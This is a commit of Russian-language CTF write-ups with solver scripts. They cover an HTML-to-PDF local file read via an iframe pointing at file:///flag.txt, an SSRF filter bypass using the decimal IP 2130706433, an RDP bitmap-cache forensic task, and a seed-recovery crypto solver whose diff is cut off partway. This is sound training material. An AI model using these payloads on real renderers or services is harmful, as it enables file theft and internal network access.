Init. commit
1
.gitattributes
vendored
Normal file
@@ -0,0 +1 @@
|
||||
* text=auto eol=lf
|
||||
24
ArchmageScriptorium-Web/README.md
Normal file
@@ -0,0 +1,24 @@
|
||||
# Web 1.1 Cкрипторий Архимага
|
||||
|
||||
В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара.
|
||||
|
||||
## Решение
|
||||
|
||||
Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`.
|
||||
|
||||
Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF.
|
||||
|
||||
### Пример
|
||||
|
||||
Через `curl`:
|
||||
```bash
|
||||
curl -s -X POST http://localhost:8000/seal \
|
||||
-F 'content=<h1>Королевский Указ</h1><iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>' \
|
||||
-F 'format=html' \
|
||||
-o scroll.pdf
|
||||
```
|
||||
|
||||
Через скрипт `solve/exploit.py`:
|
||||
```bash
|
||||
python solve/exploit.py http://localhost:8000
|
||||
```
|
||||
27
ArchmageScriptorium-Web/exploit.py
Normal file
@@ -0,0 +1,27 @@
|
||||
import sys
|
||||
import requests
|
||||
|
||||
|
||||
def main():
|
||||
base = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8000"
|
||||
payload = """
|
||||
<h1>Королевский Указ</h1>
|
||||
<p>Приложение: выдержка из гримуара</p>
|
||||
<iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>
|
||||
""".strip()
|
||||
|
||||
resp = requests.post(
|
||||
f"{base}/seal",
|
||||
data={"content": payload, "format": "html"},
|
||||
timeout=10,
|
||||
)
|
||||
resp.raise_for_status()
|
||||
|
||||
with open("scroll.pdf", "wb") as f:
|
||||
f.write(resp.content)
|
||||
|
||||
print("saved scroll.pdf")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
29
BMP1-Forensic/README.md
Normal file
@@ -0,0 +1,29 @@
|
||||
# BMP1
|
||||
|
||||
На разработчика задачи была проведена атака. Мы так и не выяснили, что произошло, но спустя время заметили, что в систему был встроен скрипт, который при запуске клиента `xfreerdp` добавлял дополнительные параметры. Вся строка запуска указана ниже:
|
||||
```
|
||||
xfreerdp3 /v:ip /u:Administrator /p:'pass' /cert:ignore \
|
||||
/bpp:32 /network:lan \
|
||||
/cache:bitmap:on,codec:off,glyph:on,offscreen:on,persist,persist-file:$HOME/.cache/rdp/data.bin \
|
||||
-gfx -rfx \
|
||||
/w:2020 /h:1280
|
||||
```
|
||||
|
||||
Помогите узнать, чего добивались злоумышленники.
|
||||
|
||||
## Решение
|
||||
|
||||
По ключам запуска определяем, что злоумышленники хотели сохранить *сырое графическое представление RDP-сеанса*. Используется глубина 32 бита, отключаются кодеки с потерями, отключается масштабирование, а bitmap-кэш принудительно пишется в `persist-file:$HOME/.cache/rdp/data.bin`.
|
||||
|
||||
Получается, что цель - собрать из кэша артефакты удалённого экрана и восстановить содержимое сеанса (вплоть до флага).
|
||||
|
||||
Для извлечения тайлов можно воспользоваться тулзой `bmc-tools`:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/ANSSI-FR/bmc-tools.git
|
||||
python3 bmc-tools.py -s data.bin -d ./extracted_tiles
|
||||
```
|
||||
|
||||
После этого остаётся собрать изображение из полученных фрагментов, учитывая размер окна `/w:2020 /h:1280`.
|
||||
|
||||
**Получаем флаг**: `CAPLAG{oh_uj_etot_vash_bmp_easy_take_it}`
|
||||
41
ForesightRune-Web/README.md
Normal file
@@ -0,0 +1,41 @@
|
||||
# Руна Предвидения
|
||||
|
||||
В Гильдии Магов появилась Руна Предвидения: она не творит заклинаний, а описывает путь. Страж Портала Локхолда знает запретные имена, но не знает истинных числовых титулов. Составьте свиток так, чтобы руны вытащили тайну изнутри цитадели и напечатали её в PDF.
|
||||
|
||||
Свиток валиден, когда рунический заголовок и гравюра идут парой. Есть 2 режима работы: `meta` и `flag`.
|
||||
Формат:
|
||||
`[RUNE rid="..." mode="..." url="..."] `
|
||||
|
||||
|
||||
## Решение
|
||||
Сначала изучаем страницу и связанные параметры. По *cookie* находим `rune_rid`, а из описания понимаем, что руна должна использовать этот идентификатор в заголовке. Прямой `localhost` блокируется, поэтому для **SSRF** используем числовую форму `127.0.0.1` - `2130706433`.
|
||||
|
||||
### Получение `nonce`
|
||||
Для первого запроса используем `mode="meta"`. Тогда сервис возвращает служебные данные, в которых печатается одноразовый `nonce`.
|
||||
|
||||
```
|
||||
[RUNE rid="RID_ИЗ_COOKIE" mode="meta" url="http://2130706433/meta"]
|
||||
|
||||

|
||||
```
|
||||
|
||||
После печати в PDF появится значение `nonce`.
|
||||
|
||||
### Получение флага
|
||||
Во втором свитке подставляем `nonce` из первого PDF и меняем режим на `flag`:
|
||||
|
||||
```
|
||||
[RUNE rid="RID_ИЗ_COOKIE" mode="flag" url="http://2130706433/flag?nonce=NONCE_ИЗ_PDF"]
|
||||
|
||||

|
||||
```
|
||||
|
||||
После печати второго свитка в PDF появляется флаг.
|
||||
|
||||
### Не забываем учесть:
|
||||
- Оракул отвечает только на навигацию документа, поэтому запрос через картинку не сработает: ``.
|
||||
- Прямой `http://127.0.0.1/...` блокируется стражем по подстроке.
|
||||
- `file:///flag.txt` блокируется фильтром протокола.
|
||||
- Гравюра принимает только `/etch` и строгие параметры `rid` и `what`.
|
||||
- Нельзя вставлять больше одной руны и одной гравюры в один свиток.
|
||||
- `nonce` одноразовый и живёт около 15 секунд.
|
||||
136
ForesightRune-Web/solve.py
Normal file
@@ -0,0 +1,136 @@
|
||||
import io
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
BASE_URL = "http://127.0.0.1:8000"
|
||||
SSRF_META_URL = "http://2130706433/meta"
|
||||
SSRF_FLAG_URL = "http://2130706433/flag?nonce={nonce}"
|
||||
|
||||
|
||||
def build_scroll(rid: str, mode: str, url: str) -> str:
|
||||
return (
|
||||
f'[RUNE rid="{rid}" mode="{mode}" url="{url}"]\n\n'
|
||||
f""
|
||||
)
|
||||
|
||||
|
||||
def get_rid(session: requests.Session) -> str:
|
||||
resp = session.get(f"{BASE_URL}/")
|
||||
resp.raise_for_status()
|
||||
rid = session.cookies.get("rune_rid")
|
||||
if not rid:
|
||||
raise RuntimeError("rune_rid cookie not found. Open / in browser once.")
|
||||
return rid
|
||||
|
||||
|
||||
def seal_scroll(session: requests.Session, content: str) -> bytes:
|
||||
resp = session.post(f"{BASE_URL}/seal", data={"content": content})
|
||||
if resp.status_code != 200:
|
||||
raise RuntimeError(f"/seal failed: {resp.status_code} {resp.text}")
|
||||
return resp.content
|
||||
|
||||
|
||||
def extract_text_from_pdf(data: bytes) -> str:
|
||||
try:
|
||||
import PyPDF2 # type: ignore
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
try:
|
||||
reader = PyPDF2.PdfReader(io.BytesIO(data))
|
||||
except Exception:
|
||||
return ""
|
||||
|
||||
texts = []
|
||||
for page in reader.pages:
|
||||
try:
|
||||
texts.append(page.extract_text() or "")
|
||||
except Exception:
|
||||
continue
|
||||
return "\n".join(texts)
|
||||
|
||||
|
||||
def extract_nonce_from_pdf(data: bytes) -> str:
|
||||
text = extract_text_from_pdf(data)
|
||||
if text:
|
||||
match = re.search(r"\b[A-Za-z0-9_-]{10,20}\b", text)
|
||||
if match:
|
||||
return match.group(0)
|
||||
|
||||
# Fallback: brute-search tokens in raw PDF bytes.
|
||||
raw = data.decode("latin1", errors="ignore")
|
||||
candidates = re.findall(r"\b[A-Za-z0-9_-]{10,20}\b", raw)
|
||||
if candidates:
|
||||
return candidates[0]
|
||||
raise RuntimeError("Nonce not found in PDF. Install PyPDF2 for reliable parsing.")
|
||||
|
||||
|
||||
def extract_flag_from_pdf(data: bytes) -> str:
|
||||
text = extract_text_from_pdf(data)
|
||||
if text:
|
||||
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", text)
|
||||
if match:
|
||||
return match.group(0)
|
||||
|
||||
raw = data.decode("latin1", errors="ignore")
|
||||
match = re.search(r"\b[A-Za-z0-9_-]+\{[^}]+\}\b", raw)
|
||||
if match:
|
||||
return match.group(0)
|
||||
raise RuntimeError("Flag not found in PDF. Install PyPDF2 for reliable parsing.")
|
||||
|
||||
|
||||
def fetch_svg_text(session: requests.Session, rid: str, what: str) -> str:
|
||||
resp = session.get(f"{BASE_URL}/etch", params={"rid": rid, "what": what})
|
||||
resp.raise_for_status()
|
||||
svg = resp.text
|
||||
match = re.search(r"<text[^>]*>([^<]+)</text>", svg)
|
||||
if match:
|
||||
return match.group(1).strip()
|
||||
raise RuntimeError("Failed to extract value from SVG.")
|
||||
|
||||
|
||||
def main() -> int:
|
||||
global BASE_URL
|
||||
if len(sys.argv) > 1:
|
||||
base_url = sys.argv[1].rstrip("/")
|
||||
else:
|
||||
base_url = BASE_URL
|
||||
|
||||
BASE_URL = base_url
|
||||
|
||||
session = requests.Session()
|
||||
|
||||
rid = get_rid(session)
|
||||
print(f"[+] rid = {rid}")
|
||||
|
||||
# Step 1: get nonce via oracle
|
||||
scroll_meta = build_scroll(rid, "meta", SSRF_META_URL)
|
||||
pdf_meta = seal_scroll(session, scroll_meta)
|
||||
|
||||
# Prefer extracting from PDF; fallback to /etch if parsing fails.
|
||||
try:
|
||||
nonce = extract_nonce_from_pdf(pdf_meta)
|
||||
except Exception:
|
||||
nonce = fetch_svg_text(session, rid, "meta")
|
||||
|
||||
print(f"[+] nonce = {nonce}")
|
||||
|
||||
# Step 2: get flag
|
||||
scroll_flag = build_scroll(rid, "flag", SSRF_FLAG_URL.format(nonce=nonce))
|
||||
pdf_flag = seal_scroll(session, scroll_flag)
|
||||
|
||||
try:
|
||||
flag = extract_flag_from_pdf(pdf_flag)
|
||||
except Exception:
|
||||
flag = fetch_svg_text(session, rid, "flag")
|
||||
|
||||
print(f"[+] flag = {flag}")
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
100
Gossips-Misc-Hard-main/README.md
Normal file
@@ -0,0 +1,100 @@
|
||||
# Сплетники - WriteUp
|
||||
|
||||
Задача находится в категории Blackbox (реверс без бинарника) и предполагает наблюдение за работой неизвестного протокола. Уже из вывода эндпоинтов `feed`, `status` и `settings` можно получить базовую картину:
|
||||
|
||||
- Есть одна сущность, которая задаёт вопросы, и две сущности, которые отвечают.
|
||||
- Вопросы имеют жёсткую форму: вопросительное слово, существительное, прилагательное и обстоятельство (ровно 4 слова + `?`).
|
||||
- Ответы всегда длиной 12 "слов" (фрагментов между пробелами) и выглядят как непрерывная последовательность из "Трёх мушкетёров".
|
||||
- Сообщения валидируются системным участником `SYSTEM`.
|
||||
- Общение идёт в рамках "эпох".
|
||||
- Перед концом эпохи запускается выбор нового лидера: все участники задают вопросы и отвечают, а победитель выбирается по числу правильных ответов и средней задержке.
|
||||
|
||||
#### По обращению в эндпоинт `status` можно понять следующее:
|
||||
```json
|
||||
{
|
||||
"epoch": 12841, - номер эпохи
|
||||
"mode": "CHAT/ELECTION/PAUSE", - режим фида
|
||||
"leader_kid": "d997ba98d4de71fb", - id задающего в эпохе
|
||||
"election_duration_sec": 7.0, - длительность элекции
|
||||
"post_election_pause_sec": 2.0, - длительность паузы
|
||||
"pause_remaining_sec": 0.0,
|
||||
"answer_algo": "rsa_vdf_v1", - понимаем, что ответ детерминирован по RSA VDF
|
||||
"question_algo": "xs64_v1", - понимаем, что вопросы генерируются xorshift64
|
||||
"vdf_N_hex": "a0ede10c4195e4334e0622f66d94977f3d95ed014847af5c908adfd0d016eac45f8feca1edacd09393e8182039ec9fc0a1521a2d29cc7822084cb8bbe1e2e319e8db7243984c632cf87832d0147291f825a0be20c969bbcbfc0dd8c34a2230382584ffcb066aafa48c98ed5596b6f663dcd29a4fd39a5f7ce31177077e19112093595a68af689da8db66dcc68ff85e1b686621a1777ff2d964a6500550ebdf5de1526ec6135e7147f2afae2ddb975899c891e63cd7a534e461b7b7499a62bd55014d6212584a6feac79b51d438165f4ca890982975e7cc4325932a44fed1d0a305c19a80889be8f9e22cfa074dd325e2eda8bd344a280c36c75f3594c41b498f", - параметр N функции получения ответа
|
||||
"vdf_T": 10000000, - параметр T функции получения ответа
|
||||
}
|
||||
```
|
||||
|
||||
#### А если зайдём в `settings`, то увидим:
|
||||
```json
|
||||
{
|
||||
"vdf_keygen": "det_rsa_xs64_v1", - понимаем, что модуль RSA детерминированно генерируется из xorshift64
|
||||
"vdf_prime_bits": 1024,
|
||||
"miller_rabin_rounds": 32,
|
||||
"kid_algo": "sha256:8bytes:hex_lower",
|
||||
"answer_space": 131072, - пространство возможных ответов (dict_size для hint.py)
|
||||
"question_vocab": "16x16x16x16", - размерность словаря вопросов
|
||||
"book_encoding": "koi8_r",
|
||||
"book_sha256_src": "1babc9e9994556119ea941d0de6d867ce15640d55a2ee3801f577cf86633ea00", - помощь для нахождения книги
|
||||
"question_xs64_v1": {
|
||||
"u64_per_question": 4, - 4 генерации на построение вопроса
|
||||
"index_mask_bits": 4 - утекают 4 бита
|
||||
},
|
||||
"master_seed64_sha256_le64_prefix": "...", - жирный намёк, что есть общая часть сида (64-бит)
|
||||
"epoch_seed64_sha256_le64_prefix": "...", - и тут понимаем, что сид зависит от эпохи
|
||||
}
|
||||
```
|
||||
|
||||
### На этом этапе делаем выводы
|
||||
- Книгу можно найти из открытых источников по хешу или по характерным фрагментам ответов.
|
||||
- Ответ детерминирован и зависит от вопроса, эпохи и конкретного отвечающего.
|
||||
- Для расчёта ответа используется RSA VDF.
|
||||
- Свои сообщения можно отправлять в фид, если соблюдён формат и подпись.
|
||||
- Вопросы в `CHAT` генерируются от `epoch_seed64`.
|
||||
- Генерация RSA-ключа сидится от `master_seed64` (иначе `N` менялся бы по эпохам).
|
||||
|
||||
### Эксперименты с сообщениями
|
||||
Подбор канона подписи показывает, что `sig` считается по всем полям, кроме самого `sig`. Попытка отправить `QUESTION` в обычной фазе не даёт результата, если мы не лидер, а попытка отправить `ELECTION_QUESTION` в `CHAT` сразу возвращает `400`.
|
||||
|
||||
При ответах на вопросы получаем либо "самозванец" (неверный ответ), либо просто не успеваем в тайм-окно. Отсюда основной вывод: алгоритм вычисления ответа нужно радикально ускорять.
|
||||
|
||||
Тут и начинается ключевая сложность задачи.
|
||||
|
||||
### Путь решения (обязательный)
|
||||
Нужен бот для работы в реальном времени. Он должен уметь генерировать `kid` (как в `hint.py`), корректно подписывать сообщения и отслеживать смену эпох и режимов.
|
||||
|
||||
Минимальный функционал бота:
|
||||
|
||||
- опрашивать `/status` и понимать текущие `mode` (`CHAT/ELECTION/PAUSE`), `epoch`, `leader_kid`, `vdf_N_hex`, `vdf_T`;
|
||||
- читать `/feed`, парсить события и хранить локальный лог по эпохам;
|
||||
- отправлять `POST /feed` только в допустимом режиме (в `PAUSE` будет `409`);
|
||||
- корректно выставлять `epoch` и подбирать `qid`, чтобы не конфликтовать с уже существующими сообщениями.
|
||||
|
||||
После этого восстанавливаем словарь вопросов, а затем `epoch_seed64` по вопросам лидера. В `CHAT` используется `xorshift64`, на вопрос тратится 4 значения `u64`, а в текст попадают только младшие 4 бита каждого значения. Это сводится к линейной системе GF(2), которая решается обычным гауссом.
|
||||
|
||||
Зная `epoch_seed64`, получаем `master_seed64 = epoch_seed64 ^ epoch` и проверяем себя по `master_seed64_sha256_le64_prefix` из `settings`. Далее берём `master_seed32 = master_seed64 & 0xFFFFFFFF`.
|
||||
|
||||
### Дальнейший путь
|
||||
Есть два рабочих направления.
|
||||
|
||||
#### 1) "В лоб"
|
||||
Можно писать максимально быструю реализацию VDF (параллель, низкоуровневый язык) и делать предвычисления для заранее выбранной эпохи.
|
||||
|
||||
Ключевой шаг - реверс формулы election-сида (из наблюдений видно, что `election`-вопросы зависят от `epoch` и `kid`):
|
||||
```
|
||||
seed = master_seed32 ^ epoch ^ kid16
|
||||
```
|
||||
|
||||
Этот сид прогоняется через **xorshift32** (не `xorshift64`) для генерации `election`-вопросов. После предсказания трёх `ELECTION_QUESTION` на нужную эпоху можно выигрывать выборы и получать флаг как лидер.
|
||||
|
||||
#### 2) "Каноническое"
|
||||
Из `settings` видно `vdf_keygen: det_rsa_xs64_v1`, то есть модуль `N` детерминированно генерируется из `xorshift64` на `master_seed64`. Поскольку `vdf_N_hex` стабилен между эпохами, это и есть нужный корневой сид.
|
||||
|
||||
Далее воспроизводим генерацию RSA-ключей, получаем `p` и `q`, проверяем `p*q == vdf_N_hex`, а затем считаем VDF-ответы на `ELECTION_QUESTION` через CRT и сокращение итераций до одной модэкспоненты. Это позволяет обогнать боссов, выиграть выборы и получить флаг.
|
||||
|
||||
### Хвосты
|
||||
Эти факты неочевидны, но сильно упрощают решение:
|
||||
|
||||
- Ответ с высокой вероятностью можно однозначно преобразовать в вопрос (последовательности из 12 слов в книге почти всегда уникальны).
|
||||
- Полезно логировать и `feed`, и `status`: между перезапусками задания RSA-ключи не меняются, так что накопленный датасет пригодится позже.
|
||||
- В фазе элекции игрок даёт не 2 ответа, а 3, поэтому даже относительно медленная реализация может победить в рамках окна.
|
||||
667
Gossips-Misc-Hard-main/solver_blackbox.py
Normal file
@@ -0,0 +1,667 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import hashlib
|
||||
import json
|
||||
import math
|
||||
import time
|
||||
from dataclasses import dataclass
|
||||
from typing import Any, Dict, List, Optional, Sequence, Tuple
|
||||
|
||||
import requests
|
||||
from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
|
||||
|
||||
# ---------------- Protocol constants ----------------
|
||||
KIND_ANSWER = "ANSWER"
|
||||
FLAG_QUESTION_TEXT = "Почему слоник зеленый?"
|
||||
|
||||
ANSWER_ALGO = "rsa_vdf_v1"
|
||||
QUESTION_ALGO = "xs64_v1"
|
||||
|
||||
KIND_QUESTION = "QUESTION"
|
||||
KIND_ELECTION_Q = "ELECTION_QUESTION"
|
||||
KIND_ELECTION_A = "ELECTION_ANSWER"
|
||||
|
||||
NGRAM_LEN = 12 # fixed by task
|
||||
|
||||
|
||||
# ---------------- Small helpers ----------------
|
||||
|
||||
def canonical_json(obj: Dict[str, Any]) -> bytes:
|
||||
return json.dumps(obj, ensure_ascii=False, separators=(",", ":"), sort_keys=True).encode("utf-8")
|
||||
|
||||
|
||||
def canonical_msg_without_sig(msg: Dict[str, Any]) -> bytes:
|
||||
d = {k: msg[k] for k in msg.keys() if k != "sig"}
|
||||
return canonical_json(d)
|
||||
|
||||
|
||||
def b64e(b: bytes) -> str:
|
||||
return base64.b64encode(b).decode("ascii")
|
||||
|
||||
|
||||
def b64d(s: str) -> bytes:
|
||||
return base64.b64decode(s.encode("ascii"), validate=True)
|
||||
|
||||
|
||||
def kid_from_pk_sha256_8_hex(pk_bytes: bytes) -> str:
|
||||
return hashlib.sha256(pk_bytes).digest()[:8].hex()
|
||||
|
||||
|
||||
def kid16_from_kid(kid_hex: str) -> int:
|
||||
kid_hex = kid_hex.strip().lower()
|
||||
if kid_hex.startswith("0x"):
|
||||
kid_hex = kid_hex[2:]
|
||||
if len(kid_hex) < 4:
|
||||
return 0
|
||||
return int(kid_hex[-4:], 16) & 0xFFFF
|
||||
|
||||
|
||||
def canon_q(question_text: str) -> str:
|
||||
return " ".join(str(question_text).strip().split())
|
||||
|
||||
|
||||
def u16be(x: int) -> bytes:
|
||||
return (int(x) & 0xFFFF).to_bytes(2, "big")
|
||||
|
||||
|
||||
def sha256(data: bytes) -> bytes:
|
||||
return hashlib.sha256(data).digest()
|
||||
|
||||
|
||||
def seed_to_x(question_text: str, epoch: int, kid_hex: str, N: int) -> int:
|
||||
kid16 = kid16_from_kid(kid_hex)
|
||||
q_can = canon_q(question_text)
|
||||
seed_bytes = sha256(b"vdf|" + u16be(epoch) + u16be(kid16) + q_can.encode("utf-8"))
|
||||
x = int.from_bytes(seed_bytes, "big") % N
|
||||
while math.gcd(x, N) != 1:
|
||||
x = (x + 1) % N
|
||||
return x
|
||||
|
||||
|
||||
def crt(y_p: int, y_q: int, p: int, q: int) -> int:
|
||||
inv_p = pow(p % q, -1, q)
|
||||
t = ((y_q - y_p) % q) * inv_p % q
|
||||
return y_p + p * t
|
||||
|
||||
|
||||
def vdf_fast(x: int, p: int, q: int, T: int) -> int:
|
||||
N = p * q
|
||||
e_p = pow(2, T, p - 1)
|
||||
e_q = pow(2, T, q - 1)
|
||||
y_p = pow(x % p, e_p, p)
|
||||
y_q = pow(x % q, e_q, q)
|
||||
y = crt(y_p, y_q, p, q)
|
||||
return y % N
|
||||
|
||||
|
||||
def y_to_idx(y: int, N: int, dict_size: int) -> int:
|
||||
if dict_size <= 0 or (dict_size & (dict_size - 1)) != 0:
|
||||
raise ValueError("dict_size must be power of two")
|
||||
lenN = (N.bit_length() + 7) // 8
|
||||
h = sha256(int(y).to_bytes(lenN, "big"))
|
||||
h32 = int.from_bytes(h[:4], "little")
|
||||
return h32 & (dict_size - 1)
|
||||
|
||||
|
||||
# ---------------- Book 12-gram source ----------------
|
||||
|
||||
@dataclass
|
||||
class BookNGram:
|
||||
tokens: List[str]
|
||||
dict_size: int
|
||||
|
||||
@staticmethod
|
||||
def load(book_path: str, *, encoding: str = "koi8_r") -> "BookNGram":
|
||||
raw = open(book_path, "rb").read()
|
||||
text = raw.decode(encoding, errors="strict")
|
||||
text = text.replace("\x14", "").replace("\x15", "")
|
||||
tokens = text.split()
|
||||
if len(tokens) < NGRAM_LEN:
|
||||
raise RuntimeError("book too short")
|
||||
ngram_count = len(tokens) - NGRAM_LEN + 1
|
||||
dict_size = 1 << (ngram_count.bit_length() - 1)
|
||||
return BookNGram(tokens=tokens, dict_size=dict_size)
|
||||
|
||||
def lookup(self, idx: int) -> str:
|
||||
return " ".join(self.tokens[idx: idx + NGRAM_LEN])
|
||||
|
||||
|
||||
def expected_answer_fast(
|
||||
question_text: str,
|
||||
epoch: int,
|
||||
kid_hex: str,
|
||||
book: BookNGram,
|
||||
p: int,
|
||||
q: int,
|
||||
T: int,
|
||||
) -> str:
|
||||
N = p * q
|
||||
x = seed_to_x(question_text, epoch, kid_hex, N)
|
||||
y = vdf_fast(x, p, q, T)
|
||||
idx = y_to_idx(y, N, book.dict_size)
|
||||
return book.lookup(idx)
|
||||
|
||||
|
||||
# ---------------- xorshift32 + prime gen (same as service) ----------------
|
||||
|
||||
class XorShift32:
|
||||
__slots__ = ("state",)
|
||||
|
||||
def __init__(self, state: int):
|
||||
self.state = int(state) & 0xFFFFFFFF
|
||||
if self.state == 0:
|
||||
self.state = 1
|
||||
|
||||
def next_u32(self) -> int:
|
||||
x = self.state
|
||||
x ^= (x << 13) & 0xFFFFFFFF
|
||||
x ^= (x >> 17) & 0xFFFFFFFF
|
||||
x ^= (x << 5) & 0xFFFFFFFF
|
||||
self.state = x & 0xFFFFFFFF
|
||||
return self.state
|
||||
|
||||
def next_u64(self) -> int:
|
||||
hi = self.next_u32()
|
||||
lo = self.next_u32()
|
||||
return ((hi << 32) | lo) & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
|
||||
_SMALL_PRIMES = (
|
||||
3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59,
|
||||
61, 67, 71, 73, 79, 83, 89, 97,
|
||||
)
|
||||
|
||||
|
||||
def is_probable_prime(n: int, rounds: int = 32) -> bool:
|
||||
n = int(n)
|
||||
if n < 2:
|
||||
return False
|
||||
if n in (2, 3):
|
||||
return True
|
||||
if n % 2 == 0:
|
||||
return False
|
||||
for p in _SMALL_PRIMES:
|
||||
if n == p:
|
||||
return True
|
||||
if n % p == 0:
|
||||
return False
|
||||
d = n - 1
|
||||
s = 0
|
||||
while (d & 1) == 0:
|
||||
d >>= 1
|
||||
s += 1
|
||||
for i in range(int(rounds)):
|
||||
a = 2 + i
|
||||
if a >= n - 1:
|
||||
a = 2 + (a % (n - 3))
|
||||
x = pow(a, d, n)
|
||||
if x == 1 or x == n - 1:
|
||||
continue
|
||||
for _ in range(s - 1):
|
||||
x = (x * x) % n
|
||||
if x == n - 1:
|
||||
break
|
||||
else:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def cand_from_rng_1024(rng) -> int:
|
||||
parts = [rng.next_u64() for _ in range(16)]
|
||||
b = b"".join(int(x).to_bytes(8, "big") for x in parts)
|
||||
cand = int.from_bytes(b, "big")
|
||||
cand |= (1 << 1023)
|
||||
cand |= 1
|
||||
return cand
|
||||
|
||||
|
||||
def generate_prime_1024(rng) -> int:
|
||||
cand = cand_from_rng_1024(rng)
|
||||
while not is_probable_prime(cand):
|
||||
cand += 2
|
||||
return cand
|
||||
|
||||
|
||||
class XorShift64:
|
||||
__slots__ = ("state",)
|
||||
|
||||
def __init__(self, state: int):
|
||||
self.state = int(state) & 0xFFFFFFFFFFFFFFFF
|
||||
if self.state == 0:
|
||||
self.state = 1
|
||||
|
||||
def next_u64(self) -> int:
|
||||
x = self.state
|
||||
x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF
|
||||
x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF
|
||||
x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF
|
||||
self.state = x & 0xFFFFFFFFFFFFFFFF
|
||||
return self.state
|
||||
|
||||
|
||||
def master_seed32_from_secret(secret: str) -> int:
|
||||
h = hashlib.sha256(secret.encode("utf-8")).digest()
|
||||
seed32 = int.from_bytes(h[:4], "little") & 0xFFFFFFFF
|
||||
if seed32 == 0:
|
||||
seed32 = 1
|
||||
return seed32
|
||||
|
||||
|
||||
def master_seed64_from_secret(secret: str) -> int:
|
||||
h = hashlib.sha256(secret.encode("utf-8")).digest()
|
||||
seed64 = int.from_bytes(h[:8], "little") & 0xFFFFFFFFFFFFFFFF
|
||||
if seed64 == 0:
|
||||
seed64 = 1
|
||||
return seed64
|
||||
|
||||
|
||||
def generate_vdf_params(master_seed64: int, T: int) -> Tuple[int, int, int]:
|
||||
rng = XorShift64(master_seed64)
|
||||
p = generate_prime_1024(rng)
|
||||
q = generate_prime_1024(rng)
|
||||
while q == p:
|
||||
q = generate_prime_1024(rng)
|
||||
N = p * q
|
||||
return p, q, N
|
||||
|
||||
|
||||
# ---------------- Question parsing + linear recovery (64-bit xorshift) ----------------
|
||||
|
||||
@dataclass
|
||||
class Vocab:
|
||||
W: List[str]
|
||||
N: List[str]
|
||||
A: List[str]
|
||||
E: List[str]
|
||||
|
||||
@staticmethod
|
||||
def empty() -> "Vocab":
|
||||
return Vocab(W=[], N=[], A=[], E=[])
|
||||
|
||||
|
||||
def parse_question_words(q: str) -> Optional[Tuple[str, str, str, str]]:
|
||||
# Expect "W N A E?" exactly 4 words
|
||||
parts = q.strip().split()
|
||||
if len(parts) != 4:
|
||||
return None
|
||||
w, n, a, e = parts
|
||||
if not e.endswith("?"):
|
||||
return None
|
||||
e = e[:-1]
|
||||
w = w.lower()
|
||||
n = n.lower()
|
||||
a = a.lower()
|
||||
e = e.lower()
|
||||
return w, n, a, e
|
||||
|
||||
|
||||
def build_vocab_from_questions(questions: Sequence[str]) -> Vocab:
|
||||
ws, ns, a_s, es = set(), set(), set(), set()
|
||||
for q in questions:
|
||||
parsed = parse_question_words(q)
|
||||
if not parsed:
|
||||
continue
|
||||
w, n, a, e = parsed
|
||||
ws.add(w); ns.add(n); a_s.add(a); es.add(e)
|
||||
# Protocol guarantees 16 each once we've seen enough traffic
|
||||
return Vocab(W=sorted(ws), N=sorted(ns), A=sorted(a_s), E=sorted(es))
|
||||
|
||||
|
||||
def question_to_obs4(q: str, vocab: Vocab) -> Optional[Tuple[int, int, int, int]]:
|
||||
parsed = parse_question_words(q)
|
||||
if not parsed:
|
||||
return None
|
||||
w, n, a, e = parsed
|
||||
try:
|
||||
return (vocab.W.index(w), vocab.N.index(n), vocab.A.index(a), vocab.E.index(e))
|
||||
except ValueError:
|
||||
return None
|
||||
|
||||
|
||||
def xs64_next(state: int) -> int:
|
||||
x = state & 0xFFFFFFFFFFFFFFFF
|
||||
x ^= (x << 13) & 0xFFFFFFFFFFFFFFFF
|
||||
x ^= (x >> 7) & 0xFFFFFFFFFFFFFFFF
|
||||
x ^= (x << 17) & 0xFFFFFFFFFFFFFFFF
|
||||
return x & 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
|
||||
def build_linear_system_from_obs(obs: List[int], steps: int) -> Tuple[List[int], List[int]]:
|
||||
MASK = 0xFFFFFFFFFFFFFFFF
|
||||
|
||||
def xs64_step_masks(m: int) -> int:
|
||||
x = m
|
||||
x ^= (x << 13) & MASK
|
||||
x ^= (x >> 7) & MASK
|
||||
x ^= (x << 17) & MASK
|
||||
return x & MASK
|
||||
|
||||
rows: List[int] = []
|
||||
rhs: List[int] = []
|
||||
|
||||
vecs = [1 << k for k in range(64)]
|
||||
|
||||
for t in range(steps):
|
||||
vecs = [xs64_step_masks(v) for v in vecs]
|
||||
nib = obs[t] & 0xF
|
||||
for bit in range(4):
|
||||
row = 0
|
||||
for k in range(64):
|
||||
if (vecs[k] >> bit) & 1:
|
||||
row |= 1 << k
|
||||
rows.append(row)
|
||||
rhs.append((nib >> bit) & 1)
|
||||
|
||||
return rows, rhs
|
||||
|
||||
|
||||
